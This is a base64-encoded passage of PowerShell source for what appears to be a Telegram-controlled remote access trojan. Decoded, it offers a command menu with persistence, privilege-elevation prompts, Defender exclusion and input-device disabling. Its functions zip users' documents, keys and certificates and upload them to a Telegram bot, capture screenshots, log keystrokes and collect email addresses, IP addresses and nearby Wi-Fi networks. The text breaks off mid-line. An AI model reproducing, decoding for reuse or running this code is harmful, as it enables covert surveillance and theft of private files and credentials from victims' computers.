PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9PT09PT09PT09PT09ICRjbWRlIENvbW1hbmRzIExpc3QgJGNtZGUgPT09PT09PT09PT09DQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQoNCkNsb3NlICAgOiBDbG9zZSB0aGlzIFNlc3Npb24NCkV4dHJhLUluZm8gICAgOiBFeHRyYSBjb21tYW5kcyBpbmZvcm1hdGlvbg0KUGF1c2UtU2Vzc2lvbiAgIDogS2lsbHMgdGhpcyBzZXNzaW9uIGFuZCByZXN0YXJ0cw0KVG9nZ2xlLUVycm9ycyAgICA6IFRvZ2dsZSBlcnJvciBtZXNzYWdlcyB0byBjaGF0DQpGb2xkZXItVHJlZSAgICA6IEdldHMgRGlyIHRyZWUgYW5kIHNlbmRzIGl0IHppcHBlZA0KU2NyZWVuc2hvdCAgIDogU2VuZHMgYSBzY3JlZW5zaG90IG9mIHRoZSBkZXNrdG9wDQpLZXktQ2FwdHVyZSAgICA6IENhcHR1cmUgS2V5c3Ryb2tlcyBhbmQgc2VuZA0KRXhmaWx0cmF0ZSAgIDogU2VuZHMgZmlsZXMgKHNlZSAnRXh0cmEtSW5mbycgZm9yIG1vcmUpDQpVcGxvYWQgICAgICA6IFVwbG9hZHMgYSBzcGVjaWZpYyBmaWxlICh1c2UgLXBhdGgpDQpTeXN0ZW0tSW5mbyAgIDogU2VuZCBTeXN0ZW0gaW5mbyBhcyB0ZXh0IGZpbGUNClNvZnR3YXJlLUluZm8gICA6IFNlbmQgU29mdHdhcmUgaW5mbyBhcyB0ZXh0IGZpbGUNCkhpc3RvcnktSW5mbyAgIDogU2VuZCBIaXN0b3J5IGluZm8gYXMgdGV4dCBmaWxlDQpFbnVtZXJhdGUtTEFOICAgOiBJbmZvIGZvciBvdGhlciBkZXZpY2VzIG9uIHRoZSBMQU4NCkFkZC1QZXJzaXN0YW5jZSAgIDogQWRkIFRlbGVncmFtIEMyIHRvIFN0YXJ0dXANClJlbW92ZS1QZXJzaXN0YW5jZSAgIDogUmVtb3ZlIFN0YXJ0dXAgUGVyc2lzdGFuY2UNCklzLUFkbWluICAgOiBDaGVja3MgaWYgc2Vzc2lvbiBoYXMgYWRtaW4gUHJpdmlsZWdlcw0KQXR0ZW1wdC1FbGV2YXRlICA6IFNlbmQgdXNlciBhIHByb21wdCB0byBnYWluIEFkbWluDQpNZXNzYWdlICAgOiBTZW5kIGEgY3VzdG9tIG1lc3NhZ2UgdG8gdGhlIHVzZXINCktpbGwgICAgOiBLaWxsc3dpdGNoIGZvciAnS2V5LUNhcHR1cmUnIGFuZCAnRXhmaWx0cmF0ZScgDQoqKkFETUlOIE9OTFkgRlVOQ1RJT05TKioNCkRpc2FibGUtQVYgICA6IEF0dGVtcHQgdG8gZXhjbHVkZSBDOi8gZnJvbSBEZWZlbmRlcg0KRGlzYWJsZS1ISUQgICA6IERpc2FibGUgTWljZSBhbmQgS2V5Ym9hcmRzDQpFbmFibGUtSElEICAgIDogRW5hYmxlIE1pY2UgYW5kIEtleWJvYXJkcw0KDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ig0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCn0NCg0KRnVuY3Rpb24gRXh0cmEtSW5mb3sNCiRjb250ZW50cyA9ICI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQo9PT09PT09PT09PT0gJGdsYXNzIEV4YW1wbGVzIGFuZCBJbmZvICRnbGFzcyA9PT09PT09PT09PQ0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQo9PT09PT09PT0gIEV4ZmlsdHJhdGUgQ29tbWFuZCBFeGFtcGxlcyA9PT09PT09PT09DQooIFBTYD4gRXhmaWx0cmF0ZSAtUGF0aCBEb2N1bWVudHMgLUZpbGV0eXBlIHBuZyApDQooIFBTYD4gRXhmaWx0cmF0ZSAtRmlsZXR5cGUgbG9nICkNCiggUFNgPiBFeGZpbHRyYXRlICkNCkV4ZmlsdHJhdGUgb25seSB3aWxsIHNlbmQgbWFueSBwcmUtZGVmaW5lZCBmaWxldHlwZXMNCmZyb20gYWxsIFVzZXIgRm9sZGVycyBsaWtlIERvY3VtZW50cywgRG93bmxvYWRzIGV0Yy4uDQoNClBBVEgNCkRvY3VtZW50cywgRGVza3RvcCwgRG93bmxvYWRzLA0KT25lRHJpdmUsIFBpY3R1cmVzLCBWaWRlb3MuDQpGSUxFVFlQRQ0KbG9nLCBkYiwgdHh0LCBkb2MsIHBkZiwganBnLCBqcGVnLCBwbmcsDQp3ZG9jLCB4ZG9jLCBjZXIsIGtleSwgeGxzLCB4bHN4LA0KY2ZnLCBjb25mLCBkb2N4LCByZnQuDQoNCj09PT09PT09PT09ICBVcGxvYWQgQ29tbWFuZCBFeGFtcGxlID09PT09PT09PT09DQooIFBTYD4gVXBsb2FkIC1QYXRoIEM6L1BhdGgvVG8vRmlsZS50eHQgKQ0KVXNlICdGb2xkZXItVHJlZScgY29tbWFuZCB0byBzaG93IGFsbCBmaWxlcw0KDQo9PT09PT09PT09PT0gIEVudW1lcmF0ZS1MQU4gRXhhbXBsZSA9PT09PT09PT09PT0NCiggUFNgPiBFbnVtZXJhdGUtTEFOIC1QcmVmaXggMTkyLjE2OC4xLiApDQpUaGlzIEVnLiB3aWxsIHNjYW4gMTkyLjE2OC4xLjEgdG8gMTkyLjE2OC4xLjI1NA0KDQo9PT09PT09PT09PT09PT0gIE1lc3NhZ2UgRXhhbXBsZSA9PT09PT09PT09PT09PT0NCiggUFNgPiBNZXNzYWdlICdZb3VyIE1lc3NhZ2UgSGVyZSEnICkNCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSINClBvc3QtTWVzc2FnZSB8IE91dC1OdWxsDQp9DQoNCkZ1bmN0aW9uIENsb3Nlew0KJGNvbnRlbnRzID0gIiRjb21wICRlbnY6Q09NUFVURVJOQU1FICRjbG9zZWQgQ29ubmVjdGlvbiBDbG9zZWQiDQpQb3N0LU1lc3NhZ2UNCnJtIC1QYXRoICIkZW52OnRlbXAvdGdjMi50eHQiIC1Gb3JjZQ0KZXhpdA0KfQ0KDQpGdW5jdGlvbiBVcGxvYWR7DQpwYXJhbSAoW3N0cmluZ1tdXSRQYXRoKQ0KaWYgKFRlc3QtUGF0aCAtUGF0aCAkcGF0aCl7DQogICAgJGV4dGVuc2lvbiA9IFtTeXN0ZW0uSU8uUGF0aF06OkdldEV4dGVuc2lvbigkcGF0aCkNCiAgICBpZiAoJGV4dGVuc2lvbiAtZXEgIi5leGUiIC1vciAkZXh0ZW5zaW9uIC1lcSAiLm1zaSIpIHsNCiAgICAgICAgJHRlbXBaaXBGaWxlUGF0aCA9IFtTeXN0ZW0uSU8uUGF0aF06OkNvbWJpbmUoW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcFBhdGgoKSwgW1N5c3RlbS5JTy5QYXRoXTo6R2V0RmlsZU5hbWUoJHBhdGgpKQ0KICAgICAgICBBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQogICAgICAgIFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06OkNyZWF0ZUZyb21EaXJlY3RvcnkoJHBhdGgsICR0ZW1wWmlwRmlsZVBhdGgpDQogICAgICAgIGN1cmwuZXhlIC1GIGNoYXRfaWQ9IiRDaGF0SUQiIC1GIGRvY3VtZW50PUAiJHRlbXBaaXBGaWxlUGF0aCIgImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkVG9rZW4vc2VuZERvY3VtZW50IiB8IE91dC1OdWxsDQogICAgICAgIFdyaXRlLU91dHB1dCAiRmlsZSBVcGxvYWQgQ29tcGxldGU6ICRwYXRoIg0KICAgICAgICBSbSAtUGF0aCAkdGVtcFppcEZpbGVQYXRoIC1SZWN1cnNlIC1Gb3JjZQ0KICAgIH1lbHNlew0KICAgICAgICBjdXJsLmV4ZSAtRiBjaGF0X2lkPSIkQ2hhdElEIiAtRiBkb2N1bWVudD1AIiRQYXRoIiAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRUb2tlbi9zZW5kRG9jdW1lbnQiIHwgT3V0LU51bGwNCiAgICAgICAgV3JpdGUtT3V0cHV0ICJGaWxlIFVwbG9hZCBDb21wbGV0ZTogJHBhdGgiDQogICAgfQ0KfWVsc2V7V3JpdGUtSG9zdCAiRmlsZSBOb3QgRm91bmQ6ICRwYXRoIn0NCn0NCg0KRnVuY3Rpb24gRXhmaWx0cmF0ZSB7DQpwYXJhbSAoW3N0cmluZ1tdXSRGaWxlVHlwZSxbc3RyaW5nW11dJFBhdGgpDQokbWF4WmlwRmlsZVNpemUgPSA1ME1CDQokY3VycmVudFppcFNpemUgPSAwDQokaW5kZXggPSAxDQokRmlsZVBhdGggPSIkZW52OnRlbXAvTG9vdCRpbmRleC56aXAiDQokY29udGVudHMgPSAiJGVudjpDT01QVVRFUk5BTUUgJHRpY2sgRXhmaWx0cmF0aW9uIFN0YXJ0ZWQuLiAoU3RvcCB3aXRoIEtpbGxzd2l0Y2gpIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCklmKCRQYXRoIC1uZSAkbnVsbCl7JGZvbGRlcnNUb1NlYXJjaCA9ICIkZW52OlVTRVJQUk9GSUxFXCIrJFBhdGh9DQplbHNleyRmb2xkZXJzVG9TZWFyY2ggPSBAKCIkZW52OlVTRVJQUk9GSUxFXERvY3VtZW50cyIsIiRlbnY6VVNFUlBST0ZJTEVcRGVza3RvcCIsIiRlbnY6VVNFUlBST0ZJTEVcRG93bmxvYWRzIiwiJGVudjpVU0VSUFJPRklMRVxPbmVEcml2ZSIsIiRlbnY6VVNFUlBST0ZJTEVcUGljdHVyZXMiLCIkZW52OlVTRVJQUk9GSUxFXFZpZGVvcyIpfQ0KSWYoJEZpbGVUeXBlIC1uZSAkbnVsbCl7JGZpbGVFeHRlbnNpb25zID0gIiouIiskRmlsZVR5cGV9DQplbHNlIHskZmlsZUV4dGVuc2lvbnMgPSBAKCIqLmxvZyIsICIqLmRiIiwgIioudHh0IiwgIiouZG9jIiwgIioucGRmIiwgIiouanBnIiwgIiouanBlZyIsICIqLnBuZyIsICIqLndkb2MiLCAiKi54ZG9jIiwgIiouY2VyIiwgIioua2V5IiwgIioueGxzIiwgIioueGxzeCIsICIqLmNmZyIsICIqLmNvbmYiLCAiKi5kb2N4IiwgIioucmZ0Iil9DQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQokemlwQXJjaGl2ZSA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uWmlwRmlsZV06Ok9wZW4oJEZpbGVQYXRoLCAnQ3JlYXRlJykNCiRlc2Ntc2cgPSAiRmlsZXMgZnJvbSA6ICIrJGVudjpDT01QVVRFUk5BTUUNCmZvcmVhY2ggKCRmb2xkZXIgaW4gJGZvbGRlcnNUb1NlYXJjaCkgew0KICAgIGZvcmVhY2ggKCRleHRlbnNpb24gaW4gJGZpbGVFeHRlbnNpb25zKSB7DQogICAgICAgICRmaWxlcyA9IEdldC1DaGlsZEl0ZW0gLVBhdGggJGZvbGRlciAtRmlsdGVyICRleHRlbnNpb24gLUZpbGUgLVJlY3Vyc2UNCiAgICAgICAgZm9yZWFjaCAoJGZpbGUgaW4gJGZpbGVzKSB7DQogICAgICAgICAgICAkZmlsZVNpemUgPSAkZmlsZS5MZW5ndGgNCiAgICAgICAgICAgIGlmICgkY3VycmVudFppcFNpemUgKyAkZmlsZVNpemUgLWd0ICRtYXhaaXBGaWxlU2l6ZSkgew0KICAgICAgICAgICAgICAgICR6aXBBcmNoaXZlLkRpc3Bvc2UoKQ0KICAgICAgICAgICAgICAgICRjdXJyZW50WmlwU2l6ZSA9IDANCiAgICAgICAgICAgICAgICBQb3N0LUZpbGU7IHJtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCiAgICAgICAgICAgICAgICBTbGVlcCAxDQogICAgICAgICAgICAgICAgJGluZGV4KysNCiAgICAgICAgICAgICAgICAkRmlsZVBhdGggPSIkZW52OnRlbXAvTG9vdCRpbmRleC56aXAiDQogICAgICAgICAgICAgICAgJHppcEFyY2hpdmUgPSBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpPcGVuKCRGaWxlUGF0aCwgJ0NyZWF0ZScpDQogICAgICAgICAgICAgICAgJG1lc3NhZ2VzPVJlY2VpdmVNU0cNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLWNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudHMgPSAiJGNvbXAgJGVudjpDT01QVVRFUk5BTUUgJGNsb3NlZCBFeGZpbHRyYXRpb24gS2lsbGVkIg0KICAgICAgICAgICAgICAgICAgICBQb3N0LU1lc3NhZ2UNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZW50cnlOYW1lID0gJGZpbGUuRnVsbE5hbWUuU3Vic3RyaW5nKCRmb2xkZXIuTGVuZ3RoICsgMSkNCiAgICAgICAgICAgICAgICBbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVFeHRlbnNpb25zXTo6Q3JlYXRlRW50cnlGcm9tRmlsZSgkemlwQXJjaGl2ZSwgJGZpbGUuRnVsbE5hbWUsICRlbnRyeU5hbWUpDQogICAgICAgICAgICAgICAgJGN1cnJlbnRaaXBTaXplICs9ICRmaWxlU2l6ZQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KJHppcEFyY2hpdmUuRGlzcG9zZSgpDQpQb3N0LUZpbGUgO3JtIC1QYXRoICRGaWxlUGF0aCAtRm9yY2UNCiRjb250ZW50cyA9ICIkZW52OkNPTVBVVEVSTkFNRSAkdGljayBFeGZpbHRyYXRpb24gQ29tcGxldGUhIg0KUG9zdC1NZXNzYWdlIHwgT3V0LU51bGwNCn0NCg0KRnVuY3Rpb24gU2NyZWVuc2hvdHsNCkFkZC1UeXBlIC1Bc3NlbWJseU5hbWUgU3lzdGVtLldpbmRvd3MuRm9ybXMNCiRzY3JlZW4gPSBbU3lzdGVtLldpbmRvd3MuRm9ybXMuU3lzdGVtSW5mb3JtYXRpb25dOjpWaXJ0dWFsU2NyZWVuDQokYml0bWFwID0gTmV3LU9iamVjdCBEcmF3aW5nLkJpdG1hcCAkc2NyZWVuLldpZHRoLCAkc2NyZWVuLkhlaWdodA0KJGdyYXBoaWNzID0gW1N5c3RlbS5EcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiaXRtYXApDQokZ3JhcGhpY3MuQ29weUZyb21TY3JlZW4oJHNjcmVlbi5MZWZ0LCAkc2NyZWVuLlRvcCwgMCwgMCwgJHNjcmVlbi5TaXplKQ0KJGZpbGVQYXRoID0gIiRlbnY6dGVtcFxzYy5wbmciDQokYml0bWFwLlNhdmUoJGZpbGVQYXRoLCBbU3lzdGVtLkRyYXdpbmcuSW1hZ2luZy5JbWFnZUZvcm1hdF06OlBuZykNCiRncmFwaGljcy5EaXNwb3NlKCkNCiRiaXRtYXAuRGlzcG9zZSgpDQpQb3N0LUZpbGU7IHJtIC1QYXRoICRmaWxlUGF0aCAtRm9yY2UNCn0NCg0KRnVuY3Rpb24gS2V5LUNhcHR1cmUgew0KJGNvbnRlbnRzID0gIiRlbnY6Q09NUFVURVJOQU1FICR0aWNrIEtleUNhcHR1cmUgU3RhcnRlZC4uIChTdG9wIHdpdGggS2lsbHN3aXRjaCkiDQpQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KJEFQSSA9ICdbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8sIEV4YWN0U3BlbGxpbmc9dHJ1ZSldIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIHNob3J0IEdldEFzeW5jS2V5U3RhdGUoaW50IHZpcnR1YWxLZXlDb2RlKTsgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIENoYXJTZXQ9Q2hhclNldC5BdXRvKV1wdWJsaWMgc3RhdGljIGV4dGVybiBpbnQgR2V0S2V5Ym9hcmRTdGF0ZShieXRlW10ga2V5c3RhdGUpO1tEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0PUNoYXJTZXQuQXV0byldcHVibGljIHN0YXRpYyBleHRlcm4gaW50IE1hcFZpcnR1YWxLZXkodWludCB1Q29kZSwgaW50IHVNYXBUeXBlKTtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNldD1DaGFyU2V0LkF1dG8pXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBUb1VuaWNvZGUodWludCB3VmlydEtleSwgdWludCB3U2NhbkNvZGUsIGJ5dGVbXSBscGtleXN0YXRlLCBTeXN0ZW0uVGV4dC5TdHJpbmdCdWlsZGVyIHB3c3pCdWZmLCBpbnQgY2NoQnVmZiwgdWludCB3RmxhZ3MpOycNCiRBUEkgPSBBZGQtVHlwZSAtTWVtYmVyRGVmaW5pdGlvbiAkQVBJIC1OYW1lICdXaW4zMicgLU5hbWVzcGFjZSBBUEkgLVBhc3NUaHJ1DQokTGFzdEtleXByZXNzVGltZSA9IFtTeXN0ZW0uRGlhZ25vc3RpY3MuU3RvcHdhdGNoXTo6U3RhcnROZXcoKQ0KJEtleXByZXNzVGhyZXNob2xkID0gW1RpbWVTcGFuXTo6RnJvbVNlY29uZHMoMTApDQpXaGlsZSAoJHRydWUpew0KICAgICRrZXlQcmVzc2VkID0gJGZhbHNlDQogICAgdHJ5ew0KICAgIHdoaWxlICgkTGFzdEtleXByZXNzVGltZS5FbGFwc2VkIC1sdCAkS2V5cHJlc3NUaHJlc2hvbGQpIHsNCiAgICAgICAgU3RhcnQtU2xlZXAgLU1pbGxpc2Vjb25kcyAzMA0KICAgICAgICBmb3IgKCRhc2MgPSA4OyAkYXNjIC1sZSAyNTQ7ICRhc2MrKyl7DQogICAgICAgICRrZXlzdCA9ICRBUEk6OkdldEFzeW5jS2V5U3RhdGUoJGFzYykNCiAgICAgICAgICAgIGlmICgka2V5c3QgLWVxIC0zMjc2Nykgew0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQogICAgICAgICAgICAkbnVsbCA9IFtjb25zb2xlXTo6Q2Fwc0xvY2sNCiAgICAgICAgICAgICR2dGtleSA9ICRBUEk6Ok1hcFZpcnR1YWxLZXkoJGFzYywgMykNCiAgICAgICAgICAgICRrYnN0ID0gTmV3LU9iamVjdCBCeXRlW10gMjU2DQogICAgICAgICAgICAkY2hlY2trYnN0ID0gJEFQSTo6R2V0S2V5Ym9hcmRTdGF0ZSgka2JzdCkNCiAgICAgICAgICAgICRsb2djaGFyID0gTmV3LU9iamVjdCAtVHlwZU5hbWUgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJEFQSTo6VG9Vbmljb2RlKCRhc2MsICR2dGtleSwgJGtic3QsICRsb2djaGFyLCAkbG9nY2hhci5DYXBhY2l0eSwgMCkpIHsNCiAgICAgICAgICAgICAgICAkTFN0cmluZyA9ICRsb2djaGFyLlRvU3RyaW5nKCkNCiAgICAgICAgICAgICAgICAgICAgaWYgKCRhc2MgLWVxIDgpIHskTFN0cmluZyA9ICJbQktTUF0ifQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJGFzYyAtZXEgMTMpIHskTFN0cmluZyA9ICJbRU5UXSJ9DQogICAgICAgICAgICAgICAgICAgIGlmICgkYXNjIC1lcSAyNykgeyRMU3RyaW5nID0gIltFU0NdIn0NCiAgICAgICAgICAgICAgICAgICAgJG5vc2F2ZSArPSAkTFN0cmluZyANCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkbWVzc2FnZXM9UmVjZWl2ZU1TRw0KICAgICAgICBpZiAoJG1lc3NhZ2VzLm1lc3NhZ2UudGV4dCAtY29udGFpbnMgImtpbGwiKSB7DQogICAgICAgICRjb250ZW50cyA9ICIkY29tcCAkZW52OkNPTVBVVEVSTkFNRSAkY2xvc2VkIEtleUNhcHR1cmUgS2lsbGVkIg0KICAgICAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgICAgICBicmVhaw0KICAgICAgICB9DQogICAgfQ0KICAgIGZpbmFsbHl7DQogICAgICAgIElmICgka2V5UHJlc3NlZCAtYW5kICRtZXNzYWdlcy5tZXNzYWdlLnRleHQgLW5vdGNvbnRhaW5zICJraWxsIikgew0KICAgICAgICAgICAgJGVzY21zZ3N5cyA9ICRub3NhdmUgLXJlcGxhY2UgJ1smPD5dJywgeyRhcmdzWzBdLlZhbHVlLlJlcGxhY2UoJyYnLCAnJmFtcDsnKS5SZXBsYWNlKCc8JywgJyZsdDsnKS5SZXBsYWNlKCc+JywgJyZndDsnKX0NCiAgICAgICAgICAgICR0aW1lc3RhbXAgPSBHZXQtRGF0ZSAtRm9ybWF0ICJkZC1NTS15eXl5IEhIOm1tOnNzIg0KICAgICAgICAgICAgJGNvbnRlbnRzID0gIiRnbGFzcyBLZXlzIENhcHR1cmVkIDogIiskZXNjbXNnc3lzDQogICAgICAgICAgICBQb3N0LU1lc3NhZ2UgfCBPdXQtTnVsbA0KICAgICAgICAgICAgJGtleVByZXNzZWQgPSAkZmFsc2UNCiAgICAgICAgICAgICRub3NhdmUgPSAiIg0KICAgICAgICB9DQogICAgfQ0KJExhc3RLZXlwcmVzc1RpbWUuUmVzdGFydCgpDQpTdGFydC1TbGVlcCAtTWlsbGlzZWNvbmRzIDEwDQp9DQp9DQoNCkZ1bmN0aW9uIFN5c3RlbS1JbmZvew0KJGZ1bGxOYW1lID0gTmV0IFVzZXIgJEVudjp1c2VybmFtZSB8IFNlbGVjdC1TdHJpbmcgLVBhdHRlcm4gIkZ1bGwgTmFtZSI7JGZ1bGxOYW1lID0gKCIkZnVsbE5hbWUiKS5UcmltU3RhcnQoIkZ1bGwiKQ0KJGVtYWlsID0gR1BSRVNVTFQgLVogL1VTRVIgJEVudjp1c2VybmFtZSB8IFNlbGVjdC1TdHJpbmcgLVBhdHRlcm4gIihbYS16QS1aMC05X1wtXC5dKylAKFthLXpBLVowLTlfXC1cLl0rKVwuKFthLXpBLVpdezIsNX0pIiAtQWxsTWF0Y2hlczskZW1haWwgPSAoIiRlbWFpbCIpLlRyaW0oKQ0KJGNvbXB1dGVyUHViSVA9KEludm9rZS1XZWJSZXF1ZXN0IGlwaW5mby5pby9pcCAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50DQokY29tcHV0ZXJJUCA9IGdldC1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9ufFdoZXJlIHskXy5EZWZhdWx0SVBHYXRld2F5Lmxlbmd0aCAtZ3QgMX0NCiROZWFyYnlXaWZpID0gKG5ldHNoIHdsYW4gc2hvdyBuZXR3b3JrcyBtb2RlPUJzc2lkIHwgP3skXyAtbGlrZSAiU1NJRCoiIC1vciAkXyAtbGlrZSAiKkF1dGhlbnRpY2F0aW9uKiIgLW9yICRfIC1saWtlICIqRW5jcnlwdGlvbioifSkudHJpbSgpDQokTmV0d29yayA9IEdldC1XbWlPYmplY3QgV2luMzJfTmV0d29ya0FkYXB0ZXJDb25maWd1cmF0aW9uIHwgd2hlcmUgeyAkXy5NQUNBZGRyZXNzIC1ub3RsaWtlICRudWxsIH0gIHwgc2VsZWN0IEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIHwgRm9ybWF0LVRhYmxlIEluZGV4LCBEZXNjcmlwdGlvbiwgSVBBZGRyZXNzLCBEZWZhdWx0SVBHYXRld2F5LCBNQUNBZGRyZXNzIA0KJGNvbXB1dGVyU3lzdGVtID0gR2V0LUNpbUluc3RhbmNlIENJTV9Db21wdXRlclN5c3RlbQ0KJGNvbXB1dGVyQklPUyA9IEdldC1DaW1JbnN0YW5jZSBDSU1fQklPU0VsZW1lbnQNCiRjb21wdXRlck9zPUdldC1XbWlPYmplY3Qgd2luMzJfb3BlcmF0aW5nc3lzdGVtIHwgc2VsZWN0IENhcHRpb24sIENTTmFtZSwgVmVyc2lvbiwgQHtOYW1lPSJJbnN0YWxsRGF0ZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkluc3RhbGxEYXRlKX19ICwgQHtOYW1lPSJMYXN0Qm9vdFVwVGltZSI7RXhwcmVzc2lvbj17KFtXTUldJycpLkNvbnZlcnRUb0RhdGVUaW1lKCRfLkxhc3RCb290VXBUaW1lKX19LCBAe05hbWU9IkxvY2FsRGF0ZVRpbWUiO0V4cHJlc3Npb249eyhbV01JXScnKS5Db252ZXJ0VG9EYXRlVGltZSgkXy5Mb2NhbERhdGVUaW1lKX19LCBDdXJyZW50VGltZVpvbmUsIENvdW50cnlDb2RlLCBPU0xhbmd1YWdlLCBTZXJpYWxOdW1iZXIsIFdpbmRvd3NEaXJlY3RvcnkgIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlckNwdT1HZXQtV21pT2JqZWN0IFdpbjMyX1Byb2Nlc3NvciB8IHNlbGVjdCBEZXZpY2VJRCwgTmFtZSwgQ2FwdGlvbiwgTWFudWZhY3R1cmVyLCBNYXhDbG9ja1NwZWVkLCBMMkNhY2hlU2l6ZSwgTDJDYWNoZVNwZWVkLCBMM0NhY2hlU2l6ZSwgTDNDYWNoZVNwZWVkIHwgRm9ybWF0LUxpc3QNCiRjb21wdXRlck1haW5ib2FyZD1HZXQtV21pT2JqZWN0IFdpbjMyX0Jhc2VCb2FyZCB8IEZvcm1hdC1MaXN0DQokY29tcHV0ZXJSYW1DYXBhY2l0eT1HZXQtV21pT2JqZWN0IFdpbjMyX1BoeXNpY2FsTWVtb3J5IHwgTWVhc3VyZS1PYmplY3QgLVByb3BlcnR5IGNhcGFjaXR5IC1TdW0gfCAlIHsgInswOk4xfSBHQiIgLWYgKCRfLnN1bSAvIDFHQil9DQokY29tcHV0ZXJSYW09R2V0LVdtaU9iamVjdCBXaW4zMl9QaHlzaWNhbE1lbW9yeSB8IHNlbGVjdCBEZXZpY2VMb2NhdG9yLCBAe05hbWU9IkNhcGFjaXR5IjtFeHByZXNzaW9uPXsgInswOk4xfSBHQiIgLWYgKCRfLkNhcGFjaXR5IC8gMUdCKX19LCBDb25maWd1cmVkQ2xvY2tTcGVlZCwgQ29uZmlndXJlZFZvbHRhZ2UgfCBGb3JtYXQtVGFibGUNCiR2aWRlb2NhcmQ9R2V0LVdtaU9iamVjdCBXaW4zMl9WaWRlb0NvbnRyb2xsZXIgfCBGb3JtYXQtVGFibGUgTmFtZSwgVmlkZW9Qcm9jZXNzb3IsIERyaXZlclZlcnNpb24sIEN1cnJlbnRIb3Jpem9udGFsUmVzb2x1dGlvbiwgQ3VycmVudFZlcnRpY2FsUmVzb2x1dGlvbg0KJEhkZHMgPSBHZXQtV21pT2JqZWN0IFdpbjMyX0xvZ2ljYWxEaXNrIHwgc2VsZWN0IERldmljZUlELCBWb2x1bWVOYW1lLCBGaWxlU3lzdGVtLEB7TmFtZT0iU2l6ZV9HQiI7RXhwcmVzc2lvbj17InswOk4xfSBHQiIgLWYgKCRfLlNpemUgLyAxR2IpfX0sIEB7TmFtZT0iRnJlZVNwYWNlX0dCIjtFeHByZXNzaW9uPXsiezA6TjF9IEdCIiAtZiAoJF8uRnJlZVNwYWNlIC8gMUdiKX19LCBAe05hbWU9IkZyZWVTcGFjZV9wZXJjZW50IjtFeHByZXNzaW9uPXsiezA6TjF9JSIgLWYgKCgxMDAgLyAoJF8uU2l6ZSAvICRfLkZyZWVTcGFjZSkpKX19IHwgRm9ybWF0LVRhYmxlIERldmljZUlELCBWb2x1bWVOYW1lLEZpbGVTeXN0ZW0sQHsgTmFtZT0iU2l6ZSBHQiI7IEV4cHJlc3Npb249eyRfLlNpemVfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgR0IiOyBFeHByZXNzaW9uPXskXy5GcmVlU3BhY2VfR0J9OyBhbGlnbj0icmlnaHQiOyB9LCBAeyBOYW1lPSJGcmVlU3BhY2UgJSI7IEV4cHJlc3Npb249eyRfLkZyZWVTcGFjZV9wZXJjZW50fTsgYWxpZ249InJpZ2h0IjsgfQ0KJENPTURldmljZXMgPSBHZXQtV21pb2JqZWN0IFdpbjMyX1VTQkNvbnRyb2xsZXJEZXZpY2UgfCBGb3JFYWNoLU9iamVjdHtbV21pXSgkXy5EZXBlbmRlbnQpfSB8IFNlbGVjdC1PYmplY3QgTmFtZSwgRGV2aWNlSUQsIE1hbnVmYWN0dXJlciB8IFNvcnQtT2JqZWN0IC1EZXNjZW5kaW5nIE5hbWUgfCBGb3JtYXQtVGFibGUNCiRzeXN0ZW1Mb2NhbGUgPSBHZXQtV2l